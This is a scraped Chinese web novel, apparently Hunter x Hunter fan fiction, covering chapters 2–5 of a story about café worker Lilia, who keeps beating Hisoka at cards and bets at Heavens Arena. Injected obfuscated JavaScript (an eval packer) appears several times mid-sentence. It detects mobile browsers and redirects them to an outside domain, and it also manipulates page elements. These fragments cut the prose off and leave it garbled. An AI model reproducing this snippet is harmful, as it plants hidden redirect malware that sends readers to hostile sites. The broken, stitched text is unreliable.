《我的男友是西索》 2. 梅花2 自从那天晚上在莉莉娅手下惨败之后，名为西索的古怪的红发客人好像就认准了她，每次她上晚班的时候都会来找她打牌。 但他没有一次赢过。 可他不但不灰心丧气，反而越战越猛！输极了还会露出诡异的笑容，嘴里念叨着什么“有意思”、“特殊品质”一类莉莉娅完全听不懂的话。 但赢了一路的莉莉娅猛不起来了。 学习新事物的激情褪去，加上上班似的高强度对战，以及打了这么久未尝一败，导致莉莉娅对打牌的热情一落千丈，现在她看到扑克就想逃跑，就像害怕上学的小孩一样。 然而小孩是不能赖学的，因为家长会鞭策小孩。 莉莉娅也是不能不打牌的，因为西索会鞭策她。 “我觉得，我以后还是不要上晚班了。我干脆全上早班吧。” 夕阳西下，刚刚穿上工作制服的莉莉娅盯着目前没有人推开的甜品店玻璃门，有一种暑假作业没做完但还有两小时就要上学的紧张感。 “为什么？你不是最不喜欢早起吗？” 在旁边清点账目的同事玛丽此时没法在聊天上动脑子，听到她说话就下意识追问。 但莉莉娅也顾不上怪她明知故问了。 因为她太恐惧了。 她不害怕西索，但害怕打牌，因为在现在的她看来，百战百胜是多么无聊的事情啊！ “我好害怕他来啊。他要是来，我就得一直打到下班，但是他要是不来，我就一直提心吊胆。” 打扑克打到快吐了的年轻少女低头揪紧了自己的制服裙面，双手攥住布料拧来拧去，她不明白：“可是我明明是来上班的。” “但他一来就把甜品全包了还请我们吃……” 玛丽话说到一半突然住了嘴，她把自己的心声咽了回去，欲盖弥彰地从收银机里拿出已经点过一次的纸币开始重点，一边重新说：“没办法，毕竟是服务业嘛。而且他看上去不太好惹。” 这是实话。 其实不需要别人说，光看气势，莉莉娅就知道西索不是一般人。 正因如此，才拒绝不了，正因为拒绝不了且不知道什么时候才会结束，所以才厌烦疲惫、惶恐不安。 “其实，哪里里用这么麻烦，你故意输给他就行了。” 看她真的很苦恼，玛丽叹了口气，这才提了一个建议。 说完，她顿了顿，又提醒道：“但你得演的好点，别让他看出来。” 这是个好提议，但莉莉娅拒绝了：“不行。” 她回复的是如此之快，如此斩钉截铁，让还在数着钞票的玛丽都诧异地抬起了脸。 “为什么？” 玛丽看向明明烦到不行但却无法甩开此事的同事，打量了一下她年轻但布满愁云的侧脸：“难道你是不能撒谎的类型吗？” 她有些惊奇地问。 ‘不会说谎的人’听起来太高尚了，也太古怪了，莉莉娅只是个普通人，所以她摇了摇头，解释：“说不清楚，也许这就是我心中的准则——啊，西索来了。” 话还没有说完，甜品店门口出现了一道熟悉的身影，他依旧穿着印有扑克牌花纹的衣服，但颜色和之前不同了，看来他有很多件这样的套装。 和之前几天干干净净带着全妆的样子不同，这次西索的衣服上带着些灰尘，脸上有细微的擦伤，应该是刚刚从竞技场的擂台上下来。 莉莉娅的视线在他脸上停留了不到一秒就移开了，她垂下眼睑，机械地开口： “欢迎光临——” “嗯哼~晚上好，小苹果~” 他走近她，一边叫她，一边走到柜台前，玛丽见他来，什么话也没说就从另一边闪身走了，他也不给其他任何人任何多余的一眼，从一进来开始就牢牢锁定莉莉娅。 他胳膊搭着柜台台面，身体半倚靠住柜台，从上而下的俯视她，薄薄的嘴唇边缘带着微笑，看上去心情很好，然而气势逼人，总给人一种随时都可能动手杀人的感觉。 莉莉娅在他走来的时候就下意识退后了两步，但柜台后的空间就这么大，两步也只是一点距离，是无用功。 因此她很快放弃了抵抗，抿着嘴唇，尽力松懈下因他到来而僵硬的脊背，向他点了点头：“晚上好。” 她很有礼貌地和他打招呼，然后，忍不住纠正他，又一次：“我不叫小苹果，我叫莉莉娅。” 这是莉莉娅不太喜欢这个人的第二个原因。 他总是叫她什么小苹果。 可她不喜欢被人叫外号，因为她有自己的名字。 她已经纠正过他很多次，可是他每次都不听。 但正如莉莉娅已经厌倦和他打牌一样，她也厌倦了纠正他。 所以这是最后一次。 根本不需要思考，也不需要做什么心理准备，因为这是正确的事情，所以不需要思考，莉莉娅抬起眼，和没有叫过自己名字的红发男人对视，和他强调：“如果你再叫不对我的名字，我就不会理你了。” 她的语气很认真。 但她强调的对象却很不认真。 因为她的认真从来没被他放在眼里。 他只是轻轻扬了一下眉，金色的眼眸向下觑了她一眼，用轻佻轻浮轻飘飘的语气说： “我知道哦，莉莉娅小苹果~” 不能说他没听她的话，但显然，他是有意让她不顺气的。 “……” 莉莉娅咬了咬嘴唇，深吸一口气，撇过脸去，什么话也没说，只蹲下身，从柜台后面掏出几叠牌。 原来店里只有一副牌的，但从第一次和她打牌之后，西索自己又带了一副新的来。 虽然莉莉娅不知道新牌旧牌有什么区别，但还是随他了。 新牌旧牌都不耽误她赢。 之后过了几天，西索又带了一副新牌。 新牌背板的花色有所不同，除此之外莉莉娅没发现什么特殊之处，只是打牌的时候她注意到西索似乎会盯着她手中牌的背面看。 也许这副新牌真的有点魔力，能给西索带来好运，总之，莉莉娅感觉对战变得艰难了一点。 但依旧不妨碍她赢。 哎，如果不是因为说实话会惹人讨厌，她真想说——“哎，赢得我都不想赢了。” 但莉莉娅自己也知道这话太欠揍了，而西索看上去不像是那种会克制自己动手欲=望的男人，所以她只把这话放在心里。 已经不想继续了，可她无法拒绝，也不能故意输，虽然赢会有乐趣，可赢得太简单就实在无聊，但要说因此特别反感，那也算不上，因为西索来了会包掉晚上的所有售卖品，让她的工作轻松很多。 总之，就是这样。 怀抱着怎么样都可以的想法，她将这三副牌放在柜台上，等待西索挑选。 可红发男人却没有选择任何一副牌，而是把这三副牌都推还给她。 莉莉娅不知道他要干什么，下意识根据之前发生的事情推测他的想法：“你又带了新牌吗？要用新牌打？” “嗯哼，不是哦★。” 红发男人摇头。 “那是为什么？” 莉莉娅追问。 红发男人垂下眼，脸上维持着似笑非笑的笑容，视线虚虚地在她脸上划过来，划过去。 他经常会用这样的眼神看她，莉莉娅不知道他在想什么，也不去猜测，只沉默地任由他看。 他看够了，思考完了，就会说他要做什么。 这次也是一样。 “今天，我想和莉莉娅聊聊天哦★~” 在收回视线后，西索这么说。 说出了莉莉娅现在最想听到的话。 “不打了？真的？太好了！” 像是怕他反悔，莉莉娅立刻把柜台上三副牌通通拿走，塞进了柜子底下，然后小跑着从柜台后面绕出来，跑到他面前，一反常态，完全颠覆她在西索眼中形象地，过分激动活泼殷勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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听上去是很无聊的猜谜游戏。 但也比一直打扑克好点，而且似乎更能杀时间。 至少不用打了三十秒就重新洗牌发牌了。 莉莉娅没有犹豫，也没法犹豫，只能点头同意了。 而其实在她没有点头之前，西索就已经拿起了最上面的一张牌。 牌翻过来，是“梅花2”。 2是牌面里极大的牌，仅次于大小王。 当然，有的扑克游戏里会设定A或者2是最小的牌，但在游戏开始前没有强调这件事，所以莉莉娅就按照之前打扑克的设定来猜大小了。 如果按概率来说，下一张牌极大概率会比梅花2小，所以此时应该说“小”才对。 然而莉莉娅却凭借直觉说：“大。” “是本能么☆？” 西索轻轻地发问，但不等她回答，就翻开了下一张牌。 是大王。 她猜对了。 也许是她的行为证实了他某种猜想，他又一次露出了非常恐怖的笑容。 但这几天里莉莉娅已经习惯了他这副表情，所以无动于衷。 “下一张是小。下下张应该也是。” 她提醒他应该翻牌了。 可西索却没动，只是用那双冒着金光的眼睛注视着她，迟来地感叹：“果然对了，太厉害了，莉莉娅☆~” 他说这话时语调粘腻，尾音拖长，可却气势逼人，让人冷汗直冒，不寒而栗。 按道理莉莉娅应该惊慌害怕，但此时，她只是沉沉地叹了口气。 因为她意识到，西索找到了新的游戏。 而身为被选中的陪玩，可能今天她又要玩一整晚的猜扑克了。 ……天呐，这样的日子什么时候能结束啊！ 他就不能努力点，加油赢了她吗？ 3. 梅花3 痛苦的上了九天班后，莉莉娅总算迎来了自己的休息日。 上九休一，听上去有点太苦了，但习惯了的话就会觉得也还行了。 至少店长还算和善，给的工资不少。 天空竞技场为巴托奇亚共和国带来了很多慕名而来的挑战者，也带来了更多的游客，理所当然地带动了巴托奇亚共和国的旅游业，因此她们所在的城市商业街极为繁华，闲来无事的时候，莉莉娅就会去逛逛。 即便什么也不买，逛逛商场也很有意思。 市中心人流量最多的商场叫望月，望月商场顶楼有非常有名的空中花园餐厅，餐厅的大部分建筑材料都用特质的，类似于玻璃的材料做成，所以看上去像是悬浮在空中，地板也是磨砂半透明的，可以从楼下看到上面的景色。 高档的餐厅自然是预约制，一般每天都是满员，但今天莉莉娅在楼下看时却发现餐厅似乎很冷清。 “今天是他们的店休么？” 她下意识问，但又依稀记得今天应该是营业日才对，所以才觉得很奇怪。 比她更了解周围餐厅的玛丽摇了摇头：“不是。” 她说着，停顿了一下，从记忆里拨出最近听到的某些风声，解释道：“我听说是美食猎人要来，所以清场了。” “美食猎人……” 这对莉莉娅来说是个很新鲜的词语。 其实‘猎人’对她而言也很新鲜，但至少她听过。 ‘猎人’就是世界各国联合起来给很强的人颁发的头衔，‘猎人’会有猎人证，有了猎人证可以享受很多东西，享受很多优惠。 这就是莉莉娅知道的，关于‘猎人’的全部。 至于‘美食猎人’，应该是猎人的分支吧？ 也许是来测评餐厅食物，给他们打分的？莉莉娅胡乱地猜想着，但因为没有答案，所以很快不猜了。 “说来，我只知道有猎人这个存在，但还没亲眼见过。” 莉莉娅仰着脸，盯着好像浮在半空中的空中花园餐厅，感叹道：“真羡慕这餐厅的服务员呢。” “毕竟各国给猎人开出的优惠可大了，如果人数多了，岂不是很亏本？” 玛丽耸了耸肩，看向平日要提前一个月预约座位都不一定约上，而今却为一张「美食猎人证」清空的空中花园，也不禁感叹道：“啊，真羡慕，真想成为猎人啊。” “怎么成为？” 莉莉娅看向玛丽，好奇地问。 猎人考核的方法应该是保密的，网络上几乎没什么消息，所以她才好奇。 “我也不知道。”玛丽摇头，“但应该很危险。” “危险？” “嗯，我听过很多来店里用餐的客人说要当猎人，但再也没回来过。不知道是不是死了。” 玛丽比莉莉娅来店早好几年，所以见的客人也多，知道的事情也多，说到这些走了就再没有回来的客人时，她脸色微微凝重了起来，但转而又笑了，解释道：“当然，也许是因为当上猎人事情多了，有钱了，所以不需要靠打擂台赚戒尼了。” “……” 因为提到了死人，尽管不知道是真死假死，但话题还是沉重了起来。 莉莉娅不知道怎么接话，只沉默地点了点头。 然后，她脑海中突然浮现出一个人的身影…… “那西索会是猎人吗？” 她突然问。 为什么会想起他？ 因为他似乎是她有记忆起认识的最厉害的人。 她在天空竞技场周围工作，要说西索是她见过的最厉害的人也许太过了，因为可能某个点单的顾客就是什么隐藏的世外高人，但她看不出来，所以她只说是‘认识的人里最厉害的’。 气势惊人，打扮古怪，按道理是不容忽视的类型，但时至今日，莉莉娅还能回忆起他突然出现在自己身侧的那一幕。 毫无征兆，毫无知觉。 ……太恐怖了。 如果这种人都不是猎人，那猎人会有多强呢？ 莉莉娅难得对一个客人生出了一点好奇心。 要知道，在天空竞技场周围开的店铺基本是没有常客的，客人都来去匆匆，如果对客人升起好奇心，产生感情，那倒霉的只会是自己。 但也许是这几天打牌打出了感情，也许是对‘猎人’好奇，憧憬，莉莉娅居然对西索好奇了。 但玛丽却不。 和其他同事一样，玛丽有点害怕这个奇装异服的怪人，如果这个人是猎人的话那就更不妙了，因为猎人杀几个普通人甚至不许要负法律责任。 她不太理解莉莉娅为什么会对这样的人产生好奇，就像她不理解她为什么不能故意输给她一样，但她也不多问，只匆匆用两句话搪塞她。 “也许？下次你和他打牌的时候可以问问。” 玛丽说完，顿了顿，为了岔开这个话题，所以又提起了一个新话题来：“对了，莉莉娅，我听说你昨天又赢了？” “对哦。” 莉莉娅点点头。 赢了这么久，她已经不会再因为赢感到高兴了。 但玛丽仍然会被她的百战百胜惊讶道，她侧过脸，看向年纪不大的，刚刚成年没多久的金发少女，她的发丝金黄，像流动的黄金，事实上，她也的确有获得无数黄金的能力，于是，她忍不住问：“既然这么厉害，为什么不去赌场试试呢？” 莉莉娅歪了歪头，重复了她的话：“赌场？” “是啊，既然百战百胜，那为什么不靠打牌赚钱，反而要当服务员？服务员多辛苦，打牌的话，一个晚上就可以赚服务员工作一辈子的钱了。” 玛丽说的话很有道理，这么干的话也许的确能赚很多钱，但莉莉娅却完全没被说动，只眨了眨绿色的眼睛，反问：“……我很强吗？” “对啊！我还从来没遇到过你这样百战百胜的人！你说不定是那种没人发现的赌王赌神！啊，这样的话，到时候你赚了大钱，可不要忘了给我点。” 玛丽越说越激动，似乎已经能想到她靠一手牌技赚的盆满钵满的未来了，但莉莉娅只是沉吟了两秒，摇了摇头：“可是，总会有比我更强的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莉莉娅心中有自己的准则，所以完全不听她的话。 要再继续解释，她也不太情愿，所以直接撇过头去，不再说话了。 玛丽盯着她平淡地侧脸一会儿，最终只能放弃在这个话题上继续，她叹了口气，先退了一步：“好吧好吧，不说这些了！接下来去哪里？要不然，我们去天空竞技场看看吧？” 莉莉娅眨眨眼：“天空竞技场？” “是啊，你一来城里就到店里上班了，但都没进去看过吧？” 玛丽看着她，跃跃欲试地提议道：“你进去看了就知道，那里面什么人都有。那么差劲的人都能进去打擂台，你为什么不能去赌场上的擂台试试呢？就算你不愿意打牌，我们还可以去竞技场开的专门赌场里赌战斗的哪边赢。我感觉你牌技这么强，说不定赌输赢也很强呢。” 听上去很有道理。 虽然不知道为什么总要赌，但再拒绝的话有点太惹人生气了，而且她的确对没去过的地方，没尝试过的东西感到好奇。 莉莉娅想着，看了一眼仍然空着的空中花园，想着今天是见不到美食猎人了。 但也许会遇到西索也说不定，顺便可以问问他是不是猎人。 4. 梅花4 天空竞技场 到竞技场时已经是下午，这时候要进行的几场比赛里没有特别有名的角色，无论是玛丽还是莉莉娅都不认识他们，因此，玛丽大手一挥，塞给莉莉娅一万戒尼让她下注后，就这样离开了。 她说不想给莉莉娅压力，相信她逢赌必赢的实力，又说待会儿看比赛空着手不好，所以要去她们工作的甜品店里拿点饮料和饼干来。 莉莉娅本想让她自己押，可玛丽溜走的速度太快，她来不及叫住，最后只能盯着手中的钱，默默地开始排队。 天空竞技场挑战者实力越强，所在的层数就越高，比赛也越热门，现在进行的层数最高的比赛是一百二十层，对战的两人一个是彩色寸头，一个是光头壮汉。 莉莉娅在排队时候盯着在对战栏挂出来的两张照片看了很久。 虽然她不觉得自己逢赌必赢，但现在箭在弦上，不得不押，可她又没看过这两人的历史比赛，那肯定只能凭借直觉了！ 秃头壮汉很壮！彩色寸头看上去就瘦弱多了，但他很狂！ 而且直觉告诉莉莉娅，人的强度和壮不壮似乎没太大关系。 所以，当莉莉娅走到窗口后，她毫不犹豫地拿出两万戒尼，要压彩色寸头。 可当她把钱放到柜台上要从玻璃底下的缝隙递给玻璃后的柜员前，旁边突然插进来一道陌生的男声： “他只是虚张声势，并不强，压他的话应该会输。” 说话的是一个绿色长发的男人。 和西索一样，在他出声之前莉莉娅根本没感受到他的存在。 身为繁忙甜品店的服务员，她早就练出了耳听八方眼观六路的技能。 只要顾客举手招手甚至欲言又止，她都能第一时间注意到并且走到顾客面前，所以她的观察力应该很强，平时从来没发生过别人到她身边她都没发现的情况。 但是西索做到了，所以西索一定很强。 这个人也做到了，所以他也一定很强。 那他说的一定是对的。 “只是因为他的头发颜色很好看。”莉莉娅一边和他解释，一边在营业员将她的钱拿走前摁住了钱，更改了自己的决定，“我改一下，我要压这人的对手。” 柜台后的营业员对顾客临时改票的事见了多了，没说什么，莉莉娅伸手接过她打印好兑票，转身要离开时，浅绿色长发的男人看着她，突然问：“你很相信我？不怕我骗你么？” 莉莉娅歪头看向他，觉得他在开玩笑，但还是认真回答了他：“我只压了两万戒尼，如果你要骗，为什么不找压十万百万的呢？而且我觉得你很厉害，没必要骗我这样的人。” “是么？” 长发男子微笑着，没有否认她的话。 莉莉娅看了一下自己手里的兑票，这两个人的支持率都不低，所以赔率也不高，她一共压了两万戒尼，如果赢的话能得三万，净赚一万。 当然，赚的一万要和玛丽对半分。 但白赚五千也是好事，所以莉莉娅很高兴，见长发男人不走，她也主动向这位无私帮助她的好人挑起了话题：“你是参赛选手吧，今天打比赛么？我叫莉莉娅，你叫什么？” “我是华石斗郎，很可惜，我今天不打。后天是我的比赛。” “好的，我到时候一定会来押你赢的。”莉莉娅郑重地记下了这个名字，顺带把手中的兑票塞进口袋，然后看向他，说，“如果我赚了，你以后可以来竞技场对面甜品店找我，我给你打折。” “谢谢。” 华石斗郎似乎对甜品一类东西兴趣不大，听她这么说也没做出什么回应，只平淡地道了谢，然后微笑着望着她，问：“你是第一次来么？你是来看谁的比赛？” “我没有特别想看的。如果非要说，应该是西索吧。” 毕竟在进入天空竞技场之前，莉莉娅只认识西索一个参赛选手。 然而当她提及他的名字时，华石斗郎却不再微笑，而是露出了沉思一般的表情，他抿了一下没什么血色的嘴唇，喃喃：“西索……原来是他。” 莉莉娅疑惑：“怎么了？” “他很强。” 她知道。 当然，莉莉娅只在心里回答了这句话，明面上，她只是盯着面前看上去也不差的华石斗郎，问：“你和他打过？” 如果打过的话，她很好奇他们两之间谁赢了。 但华石斗郎的答案让她失望了。 因为他摇头了。 “没有，但也许未来会。” 他说。 “好吧，那你要加油哦！” 莉莉娅笑着鼓励他。 她原以为这场对话就可以到此结束了，可和她才第一次见面的华石斗郎却没有离开，他只是看着她，微笑着，平和地发问：“你觉得，如果我和他对战，谁会赢？” 不知道为什么，莉莉娅觉得这可能是他来找她的真正目的。 但她又不懂这些，问她做什么呢？ 她很疑惑，实际上，她也的确实话实说了：“我不知道，我不会打架。你为什么问我呢？” 华石斗郎早就知道她没有任何战斗能力。 但他仍旧微笑着追问：“凭借你的直觉呢？你朋友说，你的直觉很厉害。” “……” 这下莉莉娅终于明白为什么这个看上去很厉害的男人会主动来找她对话了。 原来是因为玛丽！ 玛丽在拜托她下注的时候说了逢赌必赢的话，所以被华石斗郎听到了，他很好奇她的能力，所以走过来和她搭话，并想要试探她的是不是真的名副其实。 ……不知为何，莉莉娅心里有些不高兴。 但此时不是她不高兴的时候，她垂眸回忆了一下西索给她的感觉。 那是一个高大的，对着她总是用很古怪荡漾音调说话的，大部分时间笑着，但总让人感到危险的男人。 回忆完，她又抬眸凝视面前的华石斗郎。 他是一个总是温柔微笑着，看上去脾气很好的男人。 那凭感觉来看，肯定是西索危险点嘛。 所以莉莉娅选择追随自己的感觉：“我觉得也许是西索。” 她告诉了他他的答案。 华石斗郎的笑容微微一凝，忍不住追问：“为什么？” 莉莉娅实话实说：“因为他给人的感觉比你恐怖。” “是么？” “但不要太相信我，因为我的直觉并不准。” 莉莉娅这么提醒他，可华石斗郎似乎并不太相信，但在莉莉娅看来，他应该也不是迷信的人才对。 直到他重复了玛丽说的那句话：“可你的朋友说你逢赌必赢。” “……哦，所以你真的也是因为这个来的。” 猜测变为现实的感觉并不好受。 玛丽他们平时说说也就算了，可‘逢赌必赢’这句话已经为她引来西索且至今没有摆脱，现在又引来一个华石斗郎…… 不知道准不准的直觉告诉莉莉娅，如果再继续下去可能会招惹更大的麻烦。 她面色有些沉重，可华石斗郎却抓住了她话中的纰漏：“也？” “没什么。”莉莉娅沉重地呼出一口气，“我只是……” “很有压力？” 华石斗郎接了她的话。 莉莉娅点头：“差不多。” “所有人听到‘必赢’，都会对你产生好奇的。” 他说。 事实也的确如此。 “……” 莉莉娅沉默了一瞬，然后伸手，从口袋里拿出那张因为他才改变押注对象的兑票，然后将它递给了华石斗郎。 “给你！” 莉莉娅说着，将它塞进了华石斗郎的手中，他没有推拒，因为如果他想推拒，莉莉娅根本碰不到他。 他只是顺应着她的动作，收下了兑票，轻轻歪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471799|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪头，绿色的长发微微晃动，莉莉娅发现他长的还挺好看的。 但现在也不是对着人发花痴的时候。 尤其是这个人还特别强。 “我要去买那个人的！” 她告诉他，回答了他没问出口的问题。 华石斗郎明白了，他轻轻勾了一下嘴角，垂眸望着她，猜测她的心中所想：“你要故意输么？” 他说的好像很对，但莉莉娅却很不服气，她用力摇了摇头，甚至因为他乱猜她的想法，侮辱她诚实的品格而有些生气地看了他一眼，反驳道：“还没开打，怎么算故意。而且我原来也想选这个。” 华石斗郎没有生气，只是反问：“那如果他真的赢了呢？” “那就是命，我也没办法了。” 莉莉娅说完这句话，就没有再说话了。 华石斗郎微笑着看着她，收下了兑票，转身离开了。 华石斗郎离开后，莉莉娅重新去窗口押注，再次拿到兑票后，去拿甜品和饮料的玛丽也回来了。 莉莉娅将兑票给她，和她一起去了观赛席。 …… 在擂台打比赛，其实不看运气，看的是实力。 在这方面，与其相信运气好的人，不如相信实力强的人。 因为强者更能看出谁强谁弱。 所以，华石斗郎压中的那个人果然赢了。 而莉莉娅新买的那张价值两万的兑票，也自然成了一张废纸。 痛失一万戒尼的玛丽看着已经作废的兑票哀叹：“哎，莉莉娅，看来你不是逢赌必赢，只是打牌厉害而已。” 累计痛失三万戒尼的莉莉娅面无表情：“本来就是这样。” 她说着，停顿了一下：“而且，我希望，我最好快点在牌类游戏上也输上一把。” 她如此诚挚地祈祷着。 * 押注失败的玛丽痛苦地离开了。 莉莉娅希望经过此事她可以不要再把她当赌神了，也希望未来不要有人因为这些事找上自己了。 她只想做一个普通人，普通的工作，普通的生活。 西索也好，华石斗郎也好，都不该出现在她的生命里。 不过，这些都不是当下最重要的事情。 当下最重要的是—— “全压西索！” 在窗口，莉莉娅拿出今天带出门的所有的钱——整整十万戒尼。 她半个月的工资。 半个月的工资，十万戒尼，在这被金钱堆满的天空竞技场只是一滴小小的水珠，这一滴水珠，最终只变成了一张小小的兑票。 小小的，薄薄的。 这里的打印机大概用了很久，所以打在纸上的墨很淡，字也歪斜还有毛边，因为押西索赢的人太多所以赔率很低，只有1.2。 即为投注十万，能拿回十二万。 但赚两万也是赚的。 毕竟今天可输了整整三万，能回一点本是一点本吧。 所以，这张小小的兑票承载了莉莉娅的希望。 希望—— 她捏在手中的希望被人猛地从上方抽走了。 她想抬头，想回头，想伸手，但在‘想’付诸行动之前，夺走她兑票的那只手就环住了她窄瘦的肩膀，横在她身前，看上去修长，实际张开时过大，完全足以覆盖住她肩关节的手盖住她的肩。 而这只手的主人倾压下来，用胸膛抵住她的脊背，进而完全压住她的身体。 比起身体上感受到的重量，莉莉娅先感受到的是心的压迫。 像上次那样。 在被碰到之前，在他说话之前，莉莉娅并不知道他来了。 被突然袭击，突然亲密触碰的她僵在原地。 而西索好像浑然不觉。 或者根本不在乎。 “~你押的谁？” 拿走她兑票的人不看票面，从背后凑到她耳边，这样问她。 5. 梅花5 被人凑到耳边说话时，比起‘听’，先感受到的其实是骤然逼近的热源，呼吸间渡出的热气，以及漫进鼻腔的对方身上的气味。 回过神，莉莉娅伸手捂住发痒的耳朵，脖子后仰，头向另一边微微偏去，即便已经这样努力拉开距离，可侧过脸看向他时，鼻尖还是差点擦到他的下颌。 有点太近了。 但她也没能说出口。 莉莉娅被他压在怀里，也不想和他对视，只敢盯着他涂着油彩或者粉底的脸颊看，距离太近了，以至于瞳孔都失焦了，只能看见白茫茫一片的皮肤，看不见更细致的毛孔和肌肤纹理。 又也许他的皮肤就是这样好也说不定。 思绪胡乱地飘着，可没飘两秒就被肩膀上骤然加重的力道叫了回来，莉莉娅回过神，抬起脸和他说：“我压了你哦。” 在她说话之前，西索似乎一直是带着笑的。 至少先前她的余光里他是这样的。 嘴角微微勾起，似笑非笑的，似乎有点兴致但兴趣不大的样子。 但在她说完话之后，那笑容就消失了，他这样奇装异服又身材高大的人不笑的时候看起来很不好惹，此时他连同眼睑都微微垂下来，揽着她肩膀的手也松懈了，他的手掌不再像铁钳似的捏着她的肩关节，而只是轻轻搭着了。 “真可惜★。” 不再笑着的红发男人撇一下嘴角，很小孩子脾气地开始抱怨。 他说话没头没尾的，莉莉娅不懂他，不知道为什么她压了他反而可惜。 西索是个很怪的人，莉莉娅总是不理解他在想什么，可要说他是那种听到她没压他就借机生事的家伙……那倒也不至于。 还是那句话，他太强了。 而她又太普通了。 太强的人杀她这样的普通人是不要理由的，也不需要借机生事。当死亡来临的时候，她这样的普通人也没有办法躲避，正因为此，她总是保持着平常心。 因为一旦被盯上了，除非他厌倦，否则无法摆脱，所以她即便再不情愿，为了活下去也会平和地对待他，而且他也没提什么过分的要求，所以她就保持着平常心对待他。 现在就是这样。 她抬起脸，看着他脸颊上的星星图案，那应该是他自己画上去的，但画的很好，边缘很齐，一点也不抖动，也没有毛边。 在他的胳膊又一次压重她肩膀之前，她先一步回过神，主动追问：“为什么？” 她好奇他的可惜从何而来，所以追问。 打扮怪异的人脑回路也异于常人，他的答案完全不在莉莉娅的意料之中，因为他说—— “要是莉莉娅压的是我的对手，也许证明他会很厉害★~” “……” 这有什么因果关系吗？ 莉莉娅大脑宕机了一瞬，但很快明白了他的想法。 他大概是觉得她在这方面也能逢赌必赢，所以，如果她赌了他的对手赢，就大概说明对手厉害到足以战胜他这类的吧…… 和玛丽一个想法！ 真讨厌！ 真讨厌！ 对人有过高的期待，一旦达不到这样的期待就丛生出失望可惜，真讨厌。 也许是接连遇到几个人都这样，莉莉娅不知道怎么有点烦躁了。 她撇了撇嘴，突然觉得和身边这人的距离近到有点让人生厌了，于是她双手抱臂，扭了扭身体，从他本来就虚虚揽着自己的胳膊底下挣脱了出去，后退两步和他拉开了距离，强调说：“我，不是先知！你不要这样想！” 她强调。 就像她之前强调自己打牌的技术不怎么样，只是运气好，总有一天会输的那样。 可就像那时一样，西索这回听过了她的话，也像之前那次一样，只当作耳旁风。 “嗯哼★~” 他带着古怪笑容地看着她，从唇齿里溢出一声轻哼。 “……算了。” 再多的话对上他那张总含着古怪笑容的脸都会变得说不出口。 而且莉莉娅知道他是不会听的。 她甚至无法让玛丽放弃，又怎么有本事让西索这样的人改变想法呢？ 实力强的人总是意志坚定，一意孤行的。 她没办法改变他。 所以，莉莉娅决定换个话题。 莉莉娅看向西索手中自己花了十万戒尼买的兑票，伸手想去拿，但西索却微微抬高手臂躲过了。 他修长的手指像平时夹住扑克一样夹住这张小小的兑票，逗小狗似的在莉莉娅眼前晃了两下，金发少女伸手要抢，但她无论是速度还是身高都远逊于面前的男人，手还没抬起来，兑票就已经从她眼前飞走了。 她鼓了一下脸颊，原本张开的五指收紧成拳，下一刻又松开了。 抢，肯定抢不到的。 所以莉莉娅放弃抢夺，干脆认输了。 “不跟你抢了！你欺负人！真讨厌！” 她哼了一声，双手抱臂，抿着嘴唇看向别处。 但如莉莉娅所料，她没有斗志后，西索也失去了耍弄她的兴致，伸手将那张他完全看不上的纸还给了她。 莉莉娅不知道他看没看出她的小诡计，总之，她拿回了她的兑票，然后立刻把它塞进了口袋里。 “西索！接下来要好好打，求你了！” 她顿了一下，又双手合十，非常虔诚地祈祷：“我今天输了！所以请你一定要让我赢回来！” “嗯哼☆~” 平时话很多的红发男人这时候居然没有多说话，莉莉娅有些惊讶地抬眼，对上他似笑非笑的，向她垂下的金色眼睛，他嘴唇微微勾起，不是很明显的笑容，只有些微的笑意流露出来。 莉莉娅不知道他在想什么，但自己赢钱的机会掌握在他手里，她走近他，继续求：“求你了！” 西索没有理会她的恳求，只微微歪了下脑袋，突然问：“你上一把压了谁★？” “一个彩色头发的人。” “……没印象★。” 在莉莉娅看来，他几乎没思考就这样回答了。 是因为他对这里的强者如数家珍么？ 但由不得莉莉娅细想，这个人就非常无礼地伸手，捏了一下她的脸，还不等她躲开，他又直起手指，用食指和中指拍了一下她的脸颊，说：“看来你在天赋不在这方面呢，莉莉娅★~” 她皱着脸躲开了，一边躲开一边伸手擦了擦脸颊上他碰过的地方一边和他强调：“哎呀，不要管什么天赋不天赋了，总之我现在压了你！求你一定要赢！” “压了多少？” 西索说着，低头看了看不知怎么跑到他手里的兑票：“让我看看……十万戒尼？” 在看清兑票上面的数字时，他的唇齿间溢出了一声笑。 这笑容的意味并不太友善。 莉莉娅的脸有点发燥。 “你什么时候拿到的……总之，这已经是我全部的现金了！” 她和他强调！ 这是很认真的事情，毕竟十万戒尼快是她半个月的工资了！ 可西索是个很怪的人，之前莉莉娅和他除了打牌之外就没什么接触还不太了解他，但今天接触之后，她发现他似乎非常恶趣味。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471800|169896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 